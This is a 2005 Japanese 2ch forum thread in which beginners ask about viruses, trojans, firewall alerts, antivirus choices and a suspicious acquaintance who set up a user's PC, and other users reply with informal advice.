>ログイン後、スキーマが変化してると思うので、確認してみて下さい。 ずっと南京錠のアイコンが出てたら、 LAN内傍受もされませんよね? >ただ、ページ変遷はトレースしてると思います。 それはどうにもなりませんか?
870 :
名無しさん@お腹いっぱい。 :2005/12/05(月) 19:04:10
最近のウイルスで、起動しようと思ったらだんだん画面が暗くなって、 虹色の線が出てきて起動できなくなるウイルスありますか? 妹の友達がそうなったらしく、詳しい環境等わかりませんがそういうものがあれば教えて下さい。 Macではなさそう。セキュリティソフトも入れているそうです。 っていうかパソ禁止中に触ってそうなったから親にはいえないとかぬかしたそうだ。 他人の自分にふりかけないでくれ…
くだらない質問なのですが、ウイルスバスターオンラインスキャンで検査した場合は、 もし何かに感染していた場合必ず検出されるのでしょうか?
>>873 では、発見されるのでしょうか?
何分知識が無いもので、すいません。
876 :
名無しさん@お腹いっぱい。 :2005/12/05(月) 20:28:04
>>856 いや、それはそれで
VBS.LoveLetter.Aとして検出されるんですよ。
877 :
WEBメールの人 :2005/12/05(月) 20:31:54
>では、発見されるのでしょうか? だいたいは発見まではするんじゃないの? 猛威をふるったウイルスだと、 色んなところから駆除ツールも出てるよ。
878 :
名無しさん@お腹いっぱい。 :2005/12/05(月) 20:38:02
ウイルスに感染したんですがどうしらよいのかと
880 :
名無しさん@お腹いっぱい。 :2005/12/05(月) 20:42:14
いやいやなんかYour computer is infectde! っていうのとトレンドマイクロが送信メールを探査しましたって絶え間なく来るんだが
881 :
名無しさん@お腹いっぱい。 :2005/12/05(月) 20:44:23
ということは、ウイルスバスターオンラインスキャンは意味がないということですか?
882 :
名無しさん@お腹いっぱい。 :2005/12/05(月) 20:52:49
>>881 今やってます
TOJ何たらだったかな?ってウイルスがネットにつなぐたびに入ってくるんですがどうしらいいのかと
883 :
844 :2005/12/05(月) 21:04:37
>>848 ありがとうございます
そっちで聞いてみます
884 :
863 :2005/12/05(月) 21:05:17
>>865 ググってもあまりいい情報が出てこないんす。
別名でもわかればまだ調べやすいんですが。
皆様の知恵をお貸し下さい。 OS:Win2000 プロバイダー:eo64 セキュリティーソフト:ソースネクスト セキュリティーソフト2005 症状:インストールは出来るんですが、ネットに接続できません。 今までの対応:取り説とおりに行うも駄目でした。フォーマットして全てし直しし ても駄目でした。以前、ノートンのセキュリティーソフトを入れていました。 以上です。 よろしくお願い致します。
>>869 iMeshに仕込まれてたやつは知ってる?
あれだとSSLも効果なし。
ちなみに、お前さんが安全にWebメールで送ったとしても、
相手から漏れるかもしれない。
つかいい加減そろそろあきらめろ。
PGPキーででもやり取りすれば?
そこまで面倒見切れんよ。自分で考えろ。
>>884 Avast!使いか。
英語だと結構見つかるからそっち調べたら?
>>882 素人なんだけど、もしかしてそれトロイ?
バックドアつけられて外部に送信しようとしてるんじゃぁ・・・。
889 :
WEBメールの人 :2005/12/05(月) 23:56:18
>>886 SSLでWEBメールしてれば、
そこそこ安全なんですね。
それ以上の手段で来られたら諦めますわ。
糞な質問ですみません。 Live2chを使用中に、スレを開くと接続を許可しますか?みたいなウインドウが開き ユーザー名とパスを求められます。キャンセルしても次々に開きます。 その左上に VIP とあるので心配です。 vipperに遊ばれているだけで、無視すれば実害はないのでしょうか? PCの環境 ・OS:XPpro SP1(2月からupdateできてません・・・そういうことです) ・ウィルスバスター2006 ・ルーター:Laneed LD-BBR4L2 この設定はできていると思いますが・・・ 以上、ご返答お願いします。
>>890 >・OS:XPpro SP1
芯で善し
892
893 :
名無しさん@お腹いっぱい。 :2005/12/06(火) 13:30:59
おんどれらのPCにウイルスぶち込んだるぞゴルァ!! (-_-メ)
894 :
893 :2005/12/06(火) 13:32:04
ハッ、私とした事がなんて言葉遣いなんでしょ
>>885 そのソフトは糞で有名です。捨てて下さい。
まだフリーのがましです。
896 :
866 :2005/12/06(火) 15:52:49
>>866 です.先日のカキコと重複してしまってすいません.
特定の知人にパソコンの情報が漏れてることが分かり,
ハッキング対策としてノートンを入れたんですが,
どうも個人情報がまだ漏れているような気がします.
1.ノートンのファイアウオールではどこからの接続が遮断されたとかが
出るようになっていますが,この記録に残らないように外部からアクセス
することってのは現実問題的に可能ですか?
また,もし遮断できずに侵入された場合,その記録ってのは残るんですか?
2.ノートンを入れる前に既に自分のパソコン内部から自動的に情報を
特定の外部に送信するような プログラムが既に入れられてたという場合,
ノートンにそれを遮断する機能はあるのでしょうか?
3.ファイアウオールの設定のプログラム制御というのは,
自動的に作動するんですか?(この項目が見当たりません・・・)
そのログってのはどこで見れるんでしょうか?
4.ノートンにリモートアシスタンスを防御する機能ってあるのでしょうか?
重複な上に細かい質問ですいません,回答お願いします
もうね きみうざいよ リカバリーしてノートン入れ直せ そのほうがはやい
( ^3^)≡○#) 3・)∴.;
Internet Private Zoneっていうウイルスみたいなやつがでるんだけど どうやったら消せますか?
右クリック削除 それでも消せないファイルなら ベクターで強削でドロップアウトしてやれば あーぼん
やってもまた再生するから無理だと思うんですけど・・・・
バックドアが心配なのか? 削除するツールならあるぞ
WINxp sp2 復元ポイントをさきほど作成したのですが 復元ポイントはファイルなどDLしたものはそのままにして システムだけを復元しますとありますが ウィルスに感染した場合復元してもむだでしょうか? レジストリーがおかしいという表現は変ですがそのような状況のときは 復元すればなおりますか?
905 :
名無しさん@お腹いっぱい。 :2005/12/06(火) 17:25:35
>>896 たとえばどの様な情報が漏れているのでしょうか?
カード番号や暗証番号、もしくは買い物履歴やHP閲覧履歴等ですか?
又、そのパソコンは新品購入ですか?
それともその情報が漏れてるらしい特定の知人から譲り受けた物ですか?
ここは、これはイイという様なセキュリティ ソフトは何か聞いても良いんでしょうか?
>>906 ウィルスセキュリティー2006かキングソフト
( ^3^)≡○#) 3・)∴.;
903>>それ教えてくれませんか?
友達からノートパソコン借りてるのですが winmeで5年前のなんですけど 今し方ウィルスバスターでオンラインスキャンかけましたところ ウィルス318個検出されました。全部トロイの木馬ですw タワーブリッジからルーターかませてノートとデスクしようしてるのですが デスクのほうにはノートン入れてあり、ウィンドウズupdateもきっちりしてあります この場合ルーターからつないでるのですがノートハックされた場合 デスクまで影響あるでしょうか? 共有ファイルはしないにチェックしてあります。
∧∧ 〜′ ̄ ̄( ゚Д゚) UU ̄ ̄ U U 「・・・・・・・・・・・・・・」
友達のノートは貸りるまでエッジ利用で ウィンドウズupdateはしてなかったので貸りてから(たぶん感染してる) updateしました。 性能低いのですがフリーでトロイを消せるソフトありませんか? 318個・・・・ひどすぎw
今デスクをノートンで検索中です。 ノートパソコンどうすればトロイ消せるでしょうか? 簡易版のウィルススキャンでは1個だったのですがバスターは318個w 消し方教えて下さい
>>912 >>914 FWとAVを常駐させておけば、デスクトップの方は大丈夫。
トロイを何とかしたいなら必要なのだけバックアップしてOS入れなおしするしかお勧めできない。
そこまで汚れきってるとトロイはずしただけじゃ色々不具合残る可能性が高いし。
とりあえず削除するだけなら、フリーのアンチウイルスがあるから使っとけ。
BitDefengerとかAntiVir、Avast!!、eTrust、AVG辺りから、
Meでつかえるやつを探して使うといい。
もう一度言っておくが、検出後にバックアップしてから、OS入れなおしは必須だぞ。
>>917 ありがとうございます
デスクは結局何も検地されませんでした。
ノートの方BitDefender で今からしてみます。
環境 OS:MX 感染したらどうする?
920 :
名無しさん@お腹いっぱい。 :2005/12/06(火) 19:38:55
XPなら、エクスプローラの[フォルダオプション]-[表示]で 『簡易ファイル共有を使用する』のチェックが外れてるんでないかい
922 :
名無しさん@お腹いっぱい。 :2005/12/06(火) 19:59:40
すいません、スレチかもしれないんですけど、良いスレが無くてセキュリティぽかったんで相談にのっていただけたら幸いです。 友達のHPが同じ椰子に荒らされて通報するって言い出したんですけど、警察とかはどこまでやってくれるか分かりますか?全然やってくれないなら止めようかと思いまして(^_^;)
923 :
918 :2005/12/06(火) 20:05:05
フリーズして消せません。 軽いといわれてるNOD32もスペック負けします さらに軽いアンチウィルスソフトありませんでしょうか? メモリー127しかありません。cpuは上の二種でも平気です 一番軽いの教えて下さい 有料フリー問わず お願いします
読みました 教えて下さい
926 :
名無しさん@お腹いっぱい。 :2005/12/06(火) 20:24:58
>>922 荒らしにあっても、友達の権限が奪取されて改竄されているとか
じゃないと、警察はなかなか動かないだろうと思う。
単なる掲示板荒らしは、せいぜい威力業務妨害での告発。
ただそれで警察がISPの接続記録を押えて、検挙までするかは疑問。
まずはISPに届け出て、対処しなけりゃ警察に被疑者不詳で告発するぞと
脅しをかけるのが良いかと。
927 :
名無しさん@お腹いっぱい。 :2005/12/06(火) 20:26:11
初心者ネットワーク管理者に愛の手を・・・ Win2003サーバーにある資源に、担当者以外アクセス出来ないようにするため、 サーバーに担当者毎のユーザーを追加して、サーバー資源を見る時は、 ネットワーク上のサーバーにアクセスして、ユーザー名/パスワードで資源を見るように してあるんですが、他の担当者の資源を参照して作業する。っとなったときに、 サーバーにログインしているユーザーを切り替える(または追加する)って事って できますか? 現状だと自PCをログオフして、再度ネットワーク上のサーバーを見に行く事になって しまっていてとても不便です。 どなたかお分かりになったら教えて下さい。
926さん 詳しくありがとうございます! 2ちゃんに前略プロフと悪口を書かれたものを晒されたんですが…やっぱり警察が動くのは難しいみたいですね(;^_^A 教えていただいた脅し方を友達に言ってみます。 もうひとつ質問があるんですが、直接警察に通報するのとネットポリスに通報ではどちらがいいですか?
929 :
名無しさん@お腹いっぱい。 :2005/12/06(火) 20:48:25
いちばん人気があるウイルスソフトは何ですか?
>>929 今はSoberじゃないか
Netskyかな?
カスペルスキーは何でこんなに知名度低いの? NODやノートンとほぼ同じ価格で検出力は上行ってるのに。
>>929 たぶんノートンだろ
ウイルスと同じくらいたちが悪いし、ウイルス以上の被害をもたらすから
NOD最強でしょう
レジストリを破壊するバグがあったNODは確かに最強
じゃぁ キングスソフトかソースネクストやな
>>929 人気より性能で選んだ方がいいよ。
ノートンやバスター、マカフィーみたいな有名どころはとりあえず安心だが、
それ以外だとNODとKaspersky辺りが評判いい。
こりゃ〜 かすぺ推奨だわ
かすぺは重い。とにかく重い。
>>938 メール以外今は問題ないだろ。
メールの部分も通常問題ないし
農トンのおもさにはかてまい
膿豚は重いだけじゃすまないしなぁ
944 :
名無しさん@お腹いっぱい。 :2005/12/07(水) 20:57:39
>>928 まずは、お住まいの都道府県の警察本部にある
「ハイテク犯罪対策総合センターハイテク犯罪相談窓口(警視庁の場合)」
などに電話で相談しましょう。
その辺の警察署に行っても駄目です。
あと、サイバーポリスは権力はありますが、技術力は食詰めSEより貧弱なので
過信は禁物です。
945 :
名無しさん@お腹いっぱい。 :2005/12/07(水) 21:44:00
この頃、夜になるとノートン先生が怒り出します。 時間:21:39 日付:2005/12/07 侵入:HTTP MSIE JavaScript OnLoad Rte CodeExec 侵入者:pc7.2ch.net(206.223.147.60)(http(80)) 危険度:高レベル プロトコル:TCP 攻撃されたIP:localhost 攻撃されたポート:4431 って言うのがレポートなんですが、どうして夜だけ出るんでしょうか? これは無害ですか?
マカフィー(R) セキュリティセンター (15ヶ月間更新サービス) ウイルスバスター12 インターネット セキュリティ 15ヶ月版 ↑のどちらかの選択を迫られてる。 先輩方のアドバイスをお聞きしたい。
>>945 なんか最近、ノートンのファイアーウォールを誤作動させる
ウィルスコードが貼られているみたいだから、ノートンスレでものぞいたら?
>>946 マカフィーのセキュリティセンターって何? 無料でダウンロードできるやつ?
セキュリティの状態を10点満点で評価する奴でしょ? よくわからん…
>>947 いや、5千何百円しっかりかかる。
ホント、よくわかんないよね・・・。
949 :
947 :2005/12/07(水) 22:13:19
>>948 ごめん。google検索したら、何のことかわかった。Dellのパソコンだね。
おれは、マカフィーを使いたいけど、バスターを勧める。
初心者でも使いやすいと思う。
>>949 わざわざスマソ
使いやすさならバスターか。
マヂでありがとうッス。
951 :
名無しさん@お腹いっぱい。 :2005/12/07(水) 22:20:37
パソコンにあまり詳しくない女なんで質問します。 パソコンに詳しい人(妹と同じ職場の公務員男)に 自宅のパソコンが壊れてたのかインターネットに繋がらなくなったので相談したら 直してくれるというので預けました。 その際に無料で基本ソフトをMEからXPに変えてくれたのと ウイルス対策ソフトまで入れてくれました。 そのほかに色々とやってくれたようですが専門用語ばかりいうのでよくわかりません。 そして接続業者も新しく変えたので、今度その男の人が自宅まで来て ネット接続の設定もしてくれることになりました。 自宅は家族と住んでるので安全なんですが パソコンのセキュリティについて任せておいて大丈夫なんでしょうか。 今友人のパソコンから書き込みしてるんですが、友人は大丈夫か心配しています。 もし注意しなければいけないこととかあったらアドバイスをお願いします。
>>951 僕が、もしあなたなら、新しいパソコンを買います。MEだし、もう5年経っているし。
XPにし、ウィルス対策ソフトをいれたのなら、2,3万円はかかっていると思います。
接続業者を変えた経緯については、よく分かりませんが。
そのまま使い続けるとすれば、メールのやり取り等、個人情報を打ち込んだりしない方がいいと思います。
できれば、
1 その人から、XPにアップグレードしたときの、CDを貰い、純正品と確認し、
2 説明書にあるとおり、工場出荷の状態に戻し、1のCDを入れXPにアップグレードする。
その詳しい人が拒んだ場合、スパイウェア等が仕掛けられている可能性があります。
ネタじゃないなら激しく犯罪の臭いがする
スマソ。 さっきの者なんだけど、 Windows(R) XP Home Edition Service Pack 2 正規版 ↑これならセキュリティ強化機能搭載だから、バスターとかいらないよね? 本当に無知スマソ。
955 :
951 :2005/12/07(水) 22:58:48
>>952 アドバイスどうもありがとうございます。
やっぱり、危ないですかね。
その人からはメールや電話が頻繁にきます。
心配してる友人からはウイルス対策ソフト会社のサイトでの
オンラインチェックを勧められていますがそれでは不十分なんでしょうか?
2の工場出荷の状態に戻して、XPに入れなおすこと自体できる自信がないので。
>>953 ネタじゃないですよ。
957 :
名無しさん@お腹いっぱい。 :2005/12/07(水) 23:01:45
>>955 ネタじゃないなら本当にヤバイと思われ
接続設定は絶対にやってもらったらいかんぞ
何をやるにしろ金はかかるがしっかりとした業者に全て依頼しろ
お前のためだとマジレスしてみた
>>951 >>955 >無料で基本ソフトをMEからXPに変えてくれたのと
>ウイルス対策ソフトまで入れてくれました。
>その人からはメールや電話が頻繁にきます。
あやしい
手間代は無料としてもかかった経費はキチンとするのが常識
そういうところにルーズな人は信用しないほうがいい
スパイウェアで今この瞬間もキーログやスクリーンショットとられてる可能性だってある
早急に調査、再インストール、買い替えをおすすめする
>>954 ウィルスやスパイウェアとはどんなもんか、十分経験しているのなら、
いらないと思う。
961 :
945 :2005/12/07(水) 23:09:12
>>955 なんか割れ物臭いね。
ちゃんとお金出して買ったOSじゃないなら、
初期化して購入したOS入れなおした方がいいかも。
あとはストーカーになりそうな気がするから気をつけてね。
>>957 どうもありがとうございます。
今までお世話になった流れでなかなか断りにくい状況ですけど
本当にヤバイのなら考えてみます。
>>958 どうもありがとうございます。
万一何か悪意があって仕掛けられたとしたら、
ネットで繋げてもらった段階でオンラインチェックすれば判ると思ってたのですが
甘いんでしょうか?
>>962 どうもありがとうございます。
気をつけるつもりです。
>>964 たとえそのオンラインチェックや各アンチスパイウェアソフトで検索し削除し、
綺麗になったかにみえても100%安全になったと確信がもてる?
俺ならもてない
いつも不安感がつきまとう
そんな薄気味悪い不安を抱えながらPCを触るくらいなら・・・
ということ
まあどう考えても、100%安全にはならないだろうな
967 :
名無しさん@お腹いっぱい。 :2005/12/07(水) 23:53:49
>>965 どうもありがとうございます。
確かに言われるとおりですね。
そしてもう1点思いついたので、もし判る人がいればおうかがいしたいのですが
上で言われてるように無料で入れてくれたXPが不正規なものであった場合
ウインドウズのUPDATEサイトにつなげば不正規の場合何らかの反応があるんでしょうか?
相手がCDを渡してくれなかった場合にこちらで確認できればと思ったのでお願いします。
>>967 XPはまず不正規でしょう。
反応がどうとかいうことより犯罪です。
俺が女にPC色々したら 抜け道さがして色々するわ どのサイトみてるとかエッチな画像取り込んでないか調べるね うはうはうはえへえへえへwwwwwwww こんなんされたくなかったらやめましょう 君に想いがもしあれば・・・・・怪しいことしてくるかもよ 盗聴器もいい例だね。彼氏に貰ったコンセントに盗聴器がとかね
コンセント、モニタやPCプリンタの内部、外部スピーカー、電話 怪しいね
夜になると945と同じやつも出るのですが、それ以外にも、 このコンピュータから試みた侵入「BD NetBus Pro 2.0」の対称は 219.204.66.76を検出して遮断しました。 侵入者:NECCOMPUTER(192.168.1.11)(4097) 危険度:高レベル プロトコル:TCP 攻撃されたIP:219.204.66.76 攻撃されたポート:7743 というノートンの警告がでます。 何かやばそうな気がするけど、これって無害でしょうか?
972 :
名無しさん@お腹いっぱい。 :2005/12/08(木) 00:16:54
>>968 どうもありがとうございます。
では、相手の方から不審がられずにXPのCDを渡してもらえるようにはどう切り出したらいいのでしょうか?
まさか2ちゃんねるでアドバイスされたとも言えないし
こちらは初心者なのであまり専門的に言うと不審がられます。
今のところ相手の方は善意でしてくれてるように見えるので、疑ってるそぶりは見せられません。
無料で入れてくれているので当然のごとく渡してくれるように言えませんし‥
スレ違いの質問かもしれませんが出来れば誰かよろしくお願いします。
>>969 ありがとうございます。
気をつけるつもりです。
>>967 XPのCDに一万何千円か支払った方が結果的に何かが起こって探偵に依頼するよりも安く済むわ
昨今のパソコン事情に詳しければ、再セットアップは自分でやらなければ怖くてそんなもの使えないわさ
>>972 自分で買えよ
結果的に善意の第三者であった場合でも黙っていれば丸く済む
>>972 なんか言うと疑われたと思って逆上される可能性あり
「PC壊れたんで新しいの買いました^^」
これが一番安全
今のPCは捨てる
九十九やサイコムなら安いし品質いいし新しいPC買いな
・・・とか言ってキーロガー仕込まれてたら既に時遅しだが
976 :
名無しさん@お腹いっぱい。 :2005/12/08(木) 00:36:42
>>975 どうもありがとうございます。
新しいのに買い換えたくても、あまりお金が無いので‥
まだ自宅の方のパソコンはネットに繋いでないので、
まだ遅くはないと思って相談してます‥
買い換えることも考えてみます。
DELLもやすいし後からグレードupもできるぞ サポートもそこそこらしい ただ外国製という点だけだと思う メーカー製とかいってもほとんど外国製品を あつめて作っただけなのでお好みで PCを人に任せるのは危険 ほとんどしてもらったら壊れたかな?と思うとき まるでわかんないよ
古いのをヤフーで売って 新品のお金に換える デスクでいらない付属つけなかったら そこそこのPCでも8万からだよ ヤフーだと中古の頻度にもよるけど 2〜3万にはなると思う MEでも3万で売られてるのみるよ
2chで「お前の正体はわかってるぞ」と脅されました。 管理者以下運営の人でもわかりませんよね?
>>979 おまえの正体なんぞ俺だってわかってるぞと言えばいいだけ
>>979 俺は2chネラーだといってやりなさい
そうすれば解決します
982 :
名無しさん@お腹いっぱい。 :2005/12/08(木) 01:08:05
大事なデータが入ったPC(XP)はウイルスバスターを入れてます。 中古のノートPCを入手したので フリーのアンチウィルスソフトを入れてネット関連の勉強をしてみたいと思っています。 他のところで 常駐保護→AVG フルスキャン→BitDefender フルスキャン2(主にトロイ)→ewido がお薦めという書き込みをみましたが こんなところを入れてその他に「これを入れてみろ」というのはありますか?
キングソフト お奨め
>>982 >フリーのアンチウィルスソフトを入れてネット関連の勉強をしてみたいと思っています。
だったら、何も入れないでWindowsUpdateだけでいけ
何にも感染しないのがいずれわかるであろう
中古のスペックさらせ まずはそこからだ
ノートンとかウィルス対策ソフトってどのバージョンからライセンス認証になったんですか?
988 :
982 :2005/12/08(木) 01:35:44
無駄におもくならない? ネット関係勉強するのはいいけど 低マシーンに装備がんがんにしてもつかいにくいだけかと
ノートンはやめとけ、以上
ノートン、バスター、マカフィーとあれこれ試してきたけど、 俺にはノートンが合ってるわ。 ADawareとspybotを加えて今のセキュリティー。
>>982 スパイウェア駆除関係のものも入れといた方がいいよ。
フリーならad-aware(常駐機能なし)、spybot S&Dあたりかな。
フリーのスパイウェア駆除ソフトはいかがわしいものもあるので(でたらめな検出orそれ自体がスパイウェアなど)
ぐぐって評価を調べてみる事も大切。
あとはSpywareBlasterとか。
梅
995 :
名無しさん@お腹いっぱい。 :2005/12/08(木) 19:01:23
1000まで行ったスレは、愛されたスレ!
1000ゲットしてもいいかな?
いいとも〜
じゃあしちゃうよ?
はじめての1000ゲットだ。。。ドキドキ
ではありがとう、感動の1000ゲット!!!!!!!11
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。